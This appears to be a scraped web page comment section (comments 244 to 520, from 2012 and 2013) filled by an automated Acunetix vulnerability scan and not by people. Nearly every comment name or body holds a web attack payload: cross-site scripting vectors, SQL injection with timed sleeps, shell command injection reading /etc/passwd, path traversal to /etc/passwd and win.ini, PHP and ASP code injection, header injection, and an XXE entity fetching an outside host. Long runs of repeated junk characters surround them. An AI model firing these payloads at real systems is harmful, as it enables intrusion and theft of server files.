.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\

  244. # <svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:prompt(951926)"></g></svg> on 6 November 2012 at 15:29:

    1

  245. # 1 on 6 November 2012 at 15:29:

    WEB-INF/web.xml

  246. # 1 on 6 November 2012 at 15:29:

    WEB-INF\web.xml

  247. # 1[url=javascript:prompt(962601)]http://www.acunetix.com[/url] on 6 November 2012 at 15:29:

    1

  248. # 1<div style=width:expression(prompt(907053))> on 6 November 2012 at 15:29:

    1

  249. # <iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='980089'> on 6 November 2012 at 15:29:

    1

  250. # <body onload=prompt(911266)> on 6 November 2012 at 15:29:

    1

  251. # <img src=//testasp.vulnweb.com/t/dot.gif onload=prompt(918877)> on 6 November 2012 at 15:29:

    1

  252. # <img src=xyz OnErRor=prompt(906602)> on 6 November 2012 at 15:30:

    1

  253. # <img/src=">" onerror=alert(988091)> on 6 November 2012 at 15:30:

    1

  254. # 1%3CScRiPt%20%3Eprompt(917634)%3C/sCripT%3E on 6 November 2012 at 15:30:

    1

  255. # o<img acu onmouseover=prompt(995982) //o> on 6 November 2012 at 15:30:

    1

  256. # <input autofocus onfocus=prompt(902585)> on 6 November 2012 at 15:30:

    1

  257. # z12S1 1<ScRiPt >prompt(986591)</ScRiPt> on 6 November 2012 at 15:30:

    1

  258. # 1 on 6 November 2012 at 15:30:

    '"()&%1<ScRiPt >prompt(964371)</ScRiPt>

  259. # 1 on 6 November 2012 at 15:30:

    OTc4NDM1

  260. # 1 on 6 November 2012 at 15:30:

    undefined1<ScRiPt >prompt(993301)</ScRiPt>

  261. # 1 on 6 November 2012 at 15:30:

    1<ScRiPt
    >prompt(901874)</ScRiPt>

  262. # 1 on 6 November 2012 at 15:30:

    1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?921851></ScRiPt>

  263. # 1 on 6 November 2012 at 15:30:

    1<ScRiPt
    >prompt(983387)</ScRiPt>

  264. # 1 on 6 November 2012 at 15:30:

    <video><source onerror="javascript:prompt(998390)">

  265. # 1 on 6 November 2012 at 15:30:

    <svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:prompt(997363)"></g></svg>

  266. # 1 on 6 November 2012 at 15:30:

    1[url=javascript:prompt(943672)]http://www.acunetix.com[/url]

  267. # 1 on 6 November 2012 at 15:30:

    1<div style=width:expression(prompt(931662))>

  268. # 1 on 6 November 2012 at 15:30:

    <iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='981448'>

  269. # 1 on 6 November 2012 at 15:30:

    <body onload=prompt(935199)>

  270. # 1 on 6 November 2012 at 15:30:

    <img src=//testasp.vulnweb.com/t/dot.gif onload=prompt(930854)>

  271. # 1 on 6 November 2012 at 15:30:

    <img src=xyz OnErRor=prompt(973339)>

  272. # 1 on 6 November 2012 at 15:30:

    <img/src=">" onerror=alert(975112)>

  273. # 1 on 6 November 2012 at 15:30:

    1%3CScRiPt%20%3Eprompt(911009)%3C/sCripT%3E

  274. # 1 on 6 November 2012 at 15:31:

    o<img acu onmouseover=prompt(971088) //o>

  275. # 1 on 6 November 2012 at 15:31:

    <input autofocus onfocus=prompt(986961)>

  276. # 1 on 6 November 2012 at 15:31:

    neTTt
    1<ScRiPt >prompt(925428)</ScRiPt>

  277. # 1 on 22 January 2013 at 12:07:

    1

  278. # 1 on 22 January 2013 at 16:32:

    1

  279. # 1 on 22 January 2013 at 16:52:

    1

  280. # response.write(9443166*9281208) on 22 January 2013 at 23:38:

    1

  281. # '+response.write(9443166*9281208)+' on 22 January 2013 at 23:38:

    1

  282. # "+response.write(9443166*9281208)+" on 22 January 2013 at 23:38:

    1

  283. # 1 on 22 January 2013 at 23:39:

    1

  284. # &cat /etc/passwd& on 22 January 2013 at 23:39:

    1

  285. # 1 on 22 January 2013 at 23:39:

    1

  286. # '&cat /etc/passwd&' on 22 January 2013 at 23:39:

    1

  287. # -1 or 100=100 on 22 January 2013 at 23:39:

    1

  288. # SomeCustomInjectedHeader:injected_by_wvs on 22 January 2013 at 23:39:

    1

  289. # -1 or 100=0 on 22 January 2013 at 23:39:

    1

  290. # SomeCustomInjectedHeader:injected_by_wvs on 22 January 2013 at 23:39:

    1

  291. # SomeCustomInjectedHeader:injected_by_wvs on 22 January 2013 at 23:39:

    1

  292. # "&cat /etc/passwd&" on 22 January 2013 at 23:39:

    1

  293. # -1' or '22'='22 on 22 January 2013 at 23:39:

    1

  294. # cat /etc/passwd on 22 January 2013 at 23:39:

    1

  295. # -1' or '22'='0 on 22 January 2013 at 23:39:

    1

  296. # 1 on 22 January 2013 at 23:39:

    response.write(9641837*9141538)

  297. # `cat /etc/passwd` on 22 January 2013 at 23:39:

    1

  298. # -1" or "83"="83 on 22 January 2013 at 23:39:

    1

  299. # |cat /etc/passwd# on 22 January 2013 at 23:39:

    1

  300. # 1 on 22 January 2013 at 23:39:

    '+response.write(9641837*9141538)+'

  301. # -1" or "83"="0 on 22 January 2013 at 23:39:

    1

  302. # '|'ld on 22 January 2013 at 23:39:

    1

  303. # 1 and sleep(4) on 22 January 2013 at 23:39:

    1

  304. # 1 on 22 January 2013 at 23:39:

    "+response.write(9641837*9141538)+"

  305. # "|"ld on 22 January 2013 at 23:39:

    1

  306. # 1 or (sleep(4)+1) limit 1 -- on 22 January 2013 at 23:39:

    1

  307. # ../../../../../../../../../../etc/passwd on 22 January 2013 at 23:39:

    1

  308. # ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg on 22 January 2013 at 23:39:

    1

  309. # ;cat /etc/passwd; on 22 January 2013 at 23:39:

    1

  310. # 1' and sleep(4)=' on 22 January 2013 at 23:39:

    1

  311. # ../../../../../../../../../../etc/passwd.jpg on 22 January 2013 at 23:39:

    1

  312. # 1 on 22 January 2013 at 23:39:


    SomeCustomInjectedHeader:injected_by_wvs

  313. # 1' and (sleep(4)+1) limit 1 -- on 22 January 2013 at 23:39:

    1

  314. # 1 on 22 January 2013 at 23:39:


    SomeCustomInjectedHeader:injected_by_wvs

  315. # ';cat /etc/passwd;' on 22 January 2013 at 23:39:

    1

  316. # Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAucG5n on 22 January 2013 at 23:39:

    1

  317. # 1" and sleep(4)=" on 22 January 2013 at 23:39:

    1

  318. # 1 on 22 January 2013 at 23:39:


    SomeCustomInjectedHeader:injected_by_wvs

  319. # ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg on 22 January 2013 at 23:39:

    1

  320. # ";cat /etc/passwd;" on 22 January 2013 at 23:39:

    1

  321. # 1 on 22 January 2013 at 23:39:

    1

  322. # 1' or (sleep(4)+1) limit 1 -- on 22 January 2013 at 23:39:

    1

  323. # ||cat /etc/passwd on 22 January 2013 at 23:39:

    1

  324. # /../..//../..//../..//../..//../..//etc/passwd.jpg on 22 January 2013 at 23:39:

    1

  325. # 1" or (sleep(4)+1) limit 1 -- on 22 January 2013 at 23:39:

    1

  326. # 1'=sleep(4)=' on 22 January 2013 at 23:39:

    1

  327. # &dir on 22 January 2013 at 23:39:

    1

  328. # .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd on 22 January 2013 at 23:39:

    1

  329. # 1"=sleep(4)=" on 22 January 2013 at 23:39:

    1

  330. # '&dir&' on 22 January 2013 at 23:39:

    1

  331. # ${99953+99152} on 22 January 2013 at 23:39:

    1

  332. # /etc/passwd on 22 January 2013 at 23:39:

    1

  333. # 1;select pg_sleep(4); -- on 22 January 2013 at 23:39:

    1

  334. # 268435455 on 22 January 2013 at 23:39:

    1

  335. # "&dir&" on 22 January 2013 at 23:39:

    1

  336. # ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd on 22 January 2013 at 23:39:

    1

  337. # http://some-inexistent-website.acu/some_inexistent_file_with_long_name?%00.jpg on 22 January 2013 at 23:39:

    1

  338. # on 22 January 2013 at 23:39:

    1

  339. # 1some_inexistent_file_with_long_name%00.jpg on 22 January 2013 at 23:39:

    1

  340. # ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd on 22 January 2013 at 23:39:

    1

  341. # |dir on 22 January 2013 at 23:39:

    1

  342. # .. on 22 January 2013 at 23:39:

    1

  343. # http://testasp.vulnweb.com/t/fit.txt?%00.jpg on 22 January 2013 at 23:39:

    1

  344. # .. on 22 January 2013 at 23:39:

    1

  345. # '|dir on 22 January 2013 at 23:39:

    1

  346. # 1';select pg_sleep(4); -- on 22 January 2013 at 23:39:

    1

  347. # 1e309 on 22 January 2013 at 23:39:

    1

  348. # invalid../../../../../../../../../../etc/passwd/./././././././././././././././././././././././././././././././././././././././././././././././././././ on 22 January 2013 at 23:39:

    1

  349. # "|dir on 22 January 2013 at 23:39:

    1

  350. # 1; waitfor delay '0:0:4' -- on 22 January 2013 at 23:39:

    1

  351. # 1'; waitfor delay '0:0:4' -- on 22 January 2013 at 23:39:

    1

  352. # 1 on 22 January 2013 at 23:39:

    ${99059+100266}

  353. # 1&n939203=v967762 on 22 January 2013 at 23:39:

    1

  354. # '"\'\");|]*{ <> on 22 January 2013 at 23:39:

    1

  355. # file:///etc/passwd on 22 January 2013 at 23:39:

    1

  356. # ) on 22 January 2013 at 23:39:

    1

  357. # 1"; waitfor delay '0:0:4' -- on 22 January 2013 at 23:39:

    1

  358. # /\../\../\../\../\../\../\../etc/passwd on 22 January 2013 at 23:39:

    1

  359. # Array on 22 January 2013 at 23:39:

    1

  360. # !(()&&!|*|*| on 22 January 2013 at 23:39:

    1

  361. # ../../../../../../../../../../windows/win.ini on 22 January 2013 at 23:39:

    1

  362. # ../../../../../../../../../../boot.ini on 22 January 2013 at 23:39:

    1

  363. # 1 on 22 January 2013 at 23:39:

    1

  364. # 1 on 22 January 2013 at 23:39:

    1&n934767=v928792

  365. # ^(#$!@#$)(()))****** on 22 January 2013 at 23:39:

    1

  366. # 1 on 22 January 2013 at 23:39:

    http://some-inexistent-website.acu/some_inexistent_file_with_long_name?%00.jpg

  367. # Array on 22 January 2013 at 23:39:

    1

  368. # ../../../../../../../../../../windows/win.ini.jpg on 22 January 2013 at 23:39:

    1

  369. # '"() on 22 January 2013 at 23:39:

    1

  370. # 1 on 22 January 2013 at 23:39:

    1some_inexistent_file_with_long_name%00.jpg

  371. # on 22 January 2013 at 23:39:

    1

  372. # ................windowswin.ini on 22 January 2013 at 23:39:

    1

  373. # 1 on 22 January 2013 at 23:39:

    http://testasp.vulnweb.com/t/fit.txt?%00.jpg

  374. # ;print(md5(acunetix_wvs_security_test)); on 22 January 2013 at 23:39:

    1

  375. # ..\..\..\..\..\..\..\..\windows\win.ini on 22 January 2013 at 23:39:

    1

  376. # http://testasp.vulnweb.com/t/xss.html?%00.jpg on 22 January 2013 at 23:39:

    1

  377. # ';print(md5(acunetix_wvs_security_test));$a=' on 22 January 2013 at 23:39:

    1

  378. # /.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini on 22 January 2013 at 23:39:

    1

  379. # ";print(md5(acunetix_wvs_security_test));$a=" on 22 January 2013 at 23:39:

    1

  380. # ../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini on 22 January 2013 at 23:39:

    1

  381. # ${@print(md5(acunetix_wvs_security_test))} on 22 January 2013 at 23:39:

    1

  382. # ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini on 22 January 2013 at 23:39:

    1

  383. # ${@print(md5(acunetix_wvs_security_test))}\ on 22 January 2013 at 23:39:

    1

  384. # 1 on 22 January 2013 at 23:39:

    )

  385. # unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\ on 22 January 2013 at 23:39:

    1

  386. # 1 on 22 January 2013 at 23:39:

    Array

  387. # 1 on 22 January 2013 at 23:39:

    '"()

  388. # 1 on 22 January 2013 at 23:39:

    !(()&&!|*|*|

  389. # 1 on 22 January 2013 at 23:39:

    1

  390. # 1 on 22 January 2013 at 23:39:

    ^(#$!@#$)(()))******

  391. # 1 on 22 January 2013 at 23:39:

    1

  392. # acunetix_wvs_invalid_filename on 22 January 2013 at 23:39:

    1

  393. # 1'" on 22 January 2013 at 23:39:

    1

  394. # 6443 on 22 January 2013 at 23:39:

    1

  395. # \ on 22 January 2013 at 23:39:

    1

  396. # 6443 on 22 January 2013 at 23:39:

    1

  397. # 1 on 22 January 2013 at 23:39:

    http://testasp.vulnweb.com/t/xss.html?%00.jpg

  398. # 6443/. on 22 January 2013 at 23:39:

    1

  399. # 1Axa7Ac on 22 January 2013 at 23:39:

    1

  400. # @@ObH9f on 22 January 2013 at 23:39:

    1

  401. # ))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) on 22 January 2013 at 23:39:

    1

  402. # JyI= on 22 January 2013 at 23:39:

    1

  403. # ?'?" on 22 January 2013 at 23:39:

    1

  404. # ?''?"" on 22 January 2013 at 23:39:

    1

  405. # 1 on 22 January 2013 at 23:39:

    )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

  406. # 1 on 22 January 2013 at 23:39:

    1

  407. # //www.acunetix.tst on 22 January 2013 at 23:39:

    1

  408. # 1 on 22 January 2013 at 23:39:

    ;print(md5(acunetix_wvs_security_test));

  409. # <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE acunetix [ <!ENTITY acunetixent SYSTEM "http://testphp.vulnweb.com/dot.gif"> ]> <xxx>&acunetixe on 22 January 2013 at 23:39:

    1

  410. # 1 on 22 January 2013 at 23:39:

    //www.acunetix.tst

  411. # 1 on 22 January 2013 at 23:39:

    ';print(md5(acunetix_wvs_security_test));$a='

  412. # 1 on 22 January 2013 at 23:39:

    268435455

  413. # 1 on 22 January 2013 at 23:39:

    ";print(md5(acunetix_wvs_security_test));$a="

  414. # 1 on 22 January 2013 at 23:39:

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE acunetix [
    <!ENTITY acunetixent SYSTEM "http://testphp.vulnweb.com/dot.gif">
    ]>
    <xxx>&acunetixent;</xxx>

  415. # 1 on 22 January 2013 at 23:39:

  416. # '"()&%1<ScRiPt >prompt(969519)</ScRiPt> on 22 January 2013 at 23:39:

    1

  417. # '" on 22 January 2013 at 23:39:

    1

  418. # 1 on 22 January 2013 at 23:39:

    ..

  419. # <!-- on 22 January 2013 at 23:39:

    1

  420. # 1 on 22 January 2013 at 23:39:

    ${@print(md5(acunetix_wvs_security_test))}

  421. # 1 on 22 January 2013 at 23:39:

    1e309

  422. # 1 on 22 January 2013 at 23:39:

    1

  423. # 1 on 22 January 2013 at 23:39:

    ${@print(md5(acunetix_wvs_security_test))}\

  424. # OTM1NzEx on 22 January 2013 at 23:39:

    1

  425. # 1 on 22 January 2013 at 23:39:

    '"\'\");|]*{
    <>

  426. # 1 on 22 January 2013 at 23:40:

    acunetix_wvs_invalid_filename

  427. # 1 on 22 January 2013 at 23:40:

    Array

  428. # 1 on 22 January 2013 at 23:40:

    6443

  429. # undefined1<ScRiPt >prompt(959574)</ScRiPt> on 22 January 2013 at 23:40:

    1

  430. # 1 on 22 January 2013 at 23:40:

    6443

  431. # 1 on 22 January 2013 at 23:40:

    '"

  432. # 1 on 22 January 2013 at 23:40:

    6443/.

  433. # 1 on 22 January 2013 at 23:40:

    <!--

  434. # 1<ScRiPt >prompt(947987)</ScRiPt> on 22 January 2013 at 23:40:

    1

  435. # 1 on 22 January 2013 at 23:40:

    1

  436. # 1 on 22 January 2013 at 23:40:

    &cat /etc/passwd&

  437. # 1 on 22 January 2013 at 23:40:

    '&cat /etc/passwd&'

  438. # 1 on 22 January 2013 at 23:40:

    "&cat /etc/passwd&"

  439. # 1 on 22 January 2013 at 23:40:

    1'"

  440. # 1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?965102></ScRiPt> on 22 January 2013 at 23:40:

    1

  441. # 1 on 22 January 2013 at 23:40:


    cat /etc/passwd

  442. # 1 on 22 January 2013 at 23:40:

    \

  443. # 1 on 22 January 2013 at 23:40:

    `cat /etc/passwd`

  444. # 1 on 22 January 2013 at 23:40:

    |cat /etc/passwd#

  445. # 1 on 22 January 2013 at 23:40:

    1Axa7Ac

  446. # 1 on 22 January 2013 at 23:40:

    '|'ld

  447. # 1<ScRiPt >prompt(937314)</ScRiPt> on 22 January 2013 at 23:40:

    1

  448. # 1 on 22 January 2013 at 23:40:

    @@6roF3

  449. # 1 on 22 January 2013 at 23:40:

    "|"ld

  450. # 1 on 22 January 2013 at 23:40:

    JyI=

  451. # 1 on 22 January 2013 at 23:40:

    ;cat /etc/passwd;

  452. # 1 on 22 January 2013 at 23:40:

    ?'?"

  453. # 1 on 22 January 2013 at 23:40:

    ';cat /etc/passwd;'

  454. # <video><source onerror="javascript:prompt(919664)"> on 22 January 2013 at 23:40:

    1

  455. # 1 on 22 January 2013 at 23:40:

    ?''?""

  456. # 1 on 22 January 2013 at 23:40:

    ";cat /etc/passwd;"

  457. # 1 on 22 January 2013 at 23:40:

    1

  458. # 1 on 22 January 2013 at 23:40:

    ||cat /etc/passwd

  459. # 1 on 22 January 2013 at 23:40:

    1

  460. # <svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:prompt(924536)"></g></svg> on 22 January 2013 at 23:40:

    1

  461. # 1 on 22 January 2013 at 23:40:

    -1 or 95=95

  462. # 1 on 22 January 2013 at 23:40:

    &dir

  463. # 1 on 22 January 2013 at 23:40:

    -1 or 95=0

  464. # 1 on 22 January 2013 at 23:40:

    '&dir&'

  465. # 1 on 22 January 2013 at 23:40:

    -1' or '93'='93

  466. # 1 on 22 January 2013 at 23:40:

    "&dir&"

  467. # 1 on 22 January 2013 at 23:40:

    |dir

  468. # 1 on 22 January 2013 at 23:40:

    -1' or '93'='0

  469. # 1[url=javascript:prompt(946299)]http://www.acunetix.com[/url] on 22 January 2013 at 23:40:

    1

  470. # 1 on 22 January 2013 at 23:40:

    '|dir

  471. # 1 on 22 January 2013 at 23:40:

    -1" or "84"="84

  472. # 1 on 22 January 2013 at 23:40:

    "|dir

  473. # 1 on 22 January 2013 at 23:40:

    -1" or "84"="0

  474. # 1<div style=width:expression(prompt(900284))> on 22 January 2013 at 23:40:

    1

  475. # 1 on 22 January 2013 at 23:40:

    1 and sleep(4.118)

  476. # 1 on 22 January 2013 at 23:40:

    1 or (sleep(4.118)+1) limit 1 --

  477. # <iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='978858'> on 22 January 2013 at 23:40:

    1

  478. # 1 on 22 January 2013 at 23:40:

    1' and sleep(4.118)='

  479. # 1 on 22 January 2013 at 23:40:

    1' and (sleep(4.118)+1) limit 1 --

  480. # <body onload=prompt(969069)> on 22 January 2013 at 23:40:

    1

  481. # 1 on 22 January 2013 at 23:40:

    ../../../../../../../../../../etc/passwd

  482. # 1 on 22 January 2013 at 23:40:

    1" and sleep(4.118)="

  483. # 1 on 22 January 2013 at 23:40:

    ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

  484. # 1 on 22 January 2013 at 23:40:

    ../../../../../../../../../../etc/passwd.jpg

  485. # 1 on 22 January 2013 at 23:40:

    1' or (sleep(4.118)+1) limit 1 --

  486. # 1 on 22 January 2013 at 23:40:

    Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAucG5n

  487. # 1 on 22 January 2013 at 23:40:

    1" or (sleep(4.118)+1) limit 1 --

  488. # 1 on 22 January 2013 at 23:40:

    ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

  489. # 1 on 22 January 2013 at 23:40:

    1'=sleep(4.118)='

  490. # <img src=//testasp.vulnweb.com/t/dot.gif onload=prompt(902721)> on 22 January 2013 at 23:40:

    1

  491. # 1 on 22 January 2013 at 23:40:

    /../..//../..//../..//../..//../..//etc/passwd.jpg

  492. # 1 on 22 January 2013 at 23:40:

    1"=sleep(4.118)="

  493. # 1 on 22 January 2013 at 23:40:

    1;select pg_sleep(4.118); --

  494. # 1 on 22 January 2013 at 23:40:

    .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

  495. # 1 on 22 January 2013 at 23:40:

    1';select pg_sleep(4.118); --

  496. # <img src=xyz OnErRor=prompt(956079)> on 22 January 2013 at 23:40:

    1

  497. # 1 on 22 January 2013 at 23:40:

    /etc/passwd

  498. # 1 on 22 January 2013 at 23:40:

    ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

  499. # 1 on 22 January 2013 at 23:40:

    1; waitfor delay '0:0:4.118' --

  500. # 1 on 22 January 2013 at 23:40:

    1'; waitfor delay '0:0:4.118' --

  501. # 1 on 22 January 2013 at 23:40:

    ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

  502. # 1%3CScRiPt%20%3Eprompt(909653)%3C/sCripT%3E on 22 January 2013 at 23:40:

    1

  503. # 1 on 22 January 2013 at 23:40:

    ..

  504. # 1 on 22 January 2013 at 23:41:

    1"; waitfor delay '0:0:4.118' --

  505. # 1 on 22 January 2013 at 23:41:

    invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

  506. # 1 on 22 January 2013 at 23:41:

    file:///etc/passwd

  507. # on 22 January 2013 at 23:41:

    1

  508. # 1 on 22 January 2013 at 23:41:

    /\../\../\../\../\../\../\../etc/passwd

  509. # 1 on 22 January 2013 at 23:41:

    ../../../../../../../../../../windows/win.ini

  510. # 1 on 22 January 2013 at 23:41:

    ../../../../../../../../../../boot.ini

  511. # 1 on 22 January 2013 at 23:41:

    ../../../../../../../../../../windows/win.ini.jpg

  512. # <input autofocus onfocus=prompt(952097)> on 22 January 2013 at 23:41:

    1

  513. # 1 on 22 January 2013 at 23:41:

  514. # 1 on 22 January 2013 at 23:41:

    ................windowswin.ini

  515. # 1 on 22 January 2013 at 23:41:

    ..\..\..\..\..\..\..\..\windows\win.ini

  516. # 1 on 22 January 2013 at 23:41:

    /.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini

  517. # 1 on 22 January 2013 at 23:41:

    ../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini

  518. # lBAL9 1<ScRiPt >prompt(972259)</ScRiPt> on 22 January 2013 at 23:41:

    1

  519. # 1 on 22 January 2013 at 23:41:

    ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini

  520. # 1 on 22 January 2013 at 23:41:

    unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\